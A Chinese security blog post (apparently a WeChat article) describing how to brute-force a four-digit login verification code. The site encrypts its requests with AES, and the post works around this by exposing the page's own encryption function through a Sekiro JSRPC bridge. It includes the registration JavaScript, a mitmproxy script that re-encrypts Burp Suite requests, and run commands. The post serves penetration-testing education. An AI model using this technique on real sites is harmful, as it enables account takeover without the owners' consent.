公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把ElyiumSec设为星标,否则可能就看不到啦!
-------------------------------------------------------
首先看到网站界面如下所示
接收验证码四位可能存在验证码爆破
抓取数据包进行查看发现数据被加密,手动输入多次验证原验证码可用,开始对加密进行解密
AES加密,将解密方法设置全局方便后续调用
安装sekiro
https://github.com/yint-tech/sekiro-open
构建完成后,会生成文件夹sekiro-open-demo,在bin文件夹中根据系统来选择运行.bat还是.sh即可
运行后如下图所示
https://sekiro.iinti.cn/sekiro-doc/
在文档中 可以看见官方注入的JS
导入sekio.js 我们自己在底部单独注册一个接口运行
function guid() {
function S4() {
return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
}
return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
}
//Modify content
group = "MiNi";
registerAction = "AES";
var client = new SekiroClient("ws://127.0.0.1:5612/business-demo/register?group=" + group + "&clientId=" + guid());
client.registerAction(registerAction, function(request, resolve, reject) {
response = v(atob(request['text']));
resolve(response);
})
注册好后 访问
http://127.0.0.1:5612/business-demo/invoke?group=xxx&action=xxx&text=xxx
text为需加密内容
因为加密数据存在&在URL解析时容易出现问题
修改下sekio.js 输入base64数据即可 会将base64数据解密在进行加密返回
Data为我们加密后的数据 text内容是我们的需要加密的内容
到此,生成自己想要的一个密文字典用python进行爬取保存对应的加密数据即可
这里在使用另一种方法实现在Burp中的密文爆破
在我们的环境中,我们需要调用这个jsrpc来加密后,将处理过的数据包发送到网站中,所以需要一个mitmproxy来加密参数,然后发送
安装依赖
pip3 install mitmproxy
创建服务器
import requests
import urllib.parse
import re
import json
from mitmproxy import ctx
def encrypt(data):
data = data.replace('&', "%26")
url = "http://127.0.0.1:5612/business-demo/invoke?group=MN&action=AES&text={}".format(
data)
res = requests.get(url)
res = json.loads(res.text)
return res['data']
def request(flow):
# 获取GET请求的数据
data = flow.request.query.get('data')
print('Get request data ===> ', data)
encryptData = encrypt(data)
print('EncryptData ===> ', encryptData)
# 设置修改后的请求 body 数据
flow.request.query['data'] = encryptData
# url = flow.request.url + "?data=" + encryptData
# res = requests.get(url)
# 请求后的数据
def response(flow):
response = flow.response
print(response.text)
ctx.log.info(str(response.status_code))
然后启动
mitmweb -v -s test.py -p 8081
我们设置一个burpsuite的代理到mitmproxy中,然后尝试发送一个包。可以看见BP中明文发送已经被加密
解密获取token
原文始发于微信公众号(ElysiumSec):利用JSRPC实现任意用户登录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论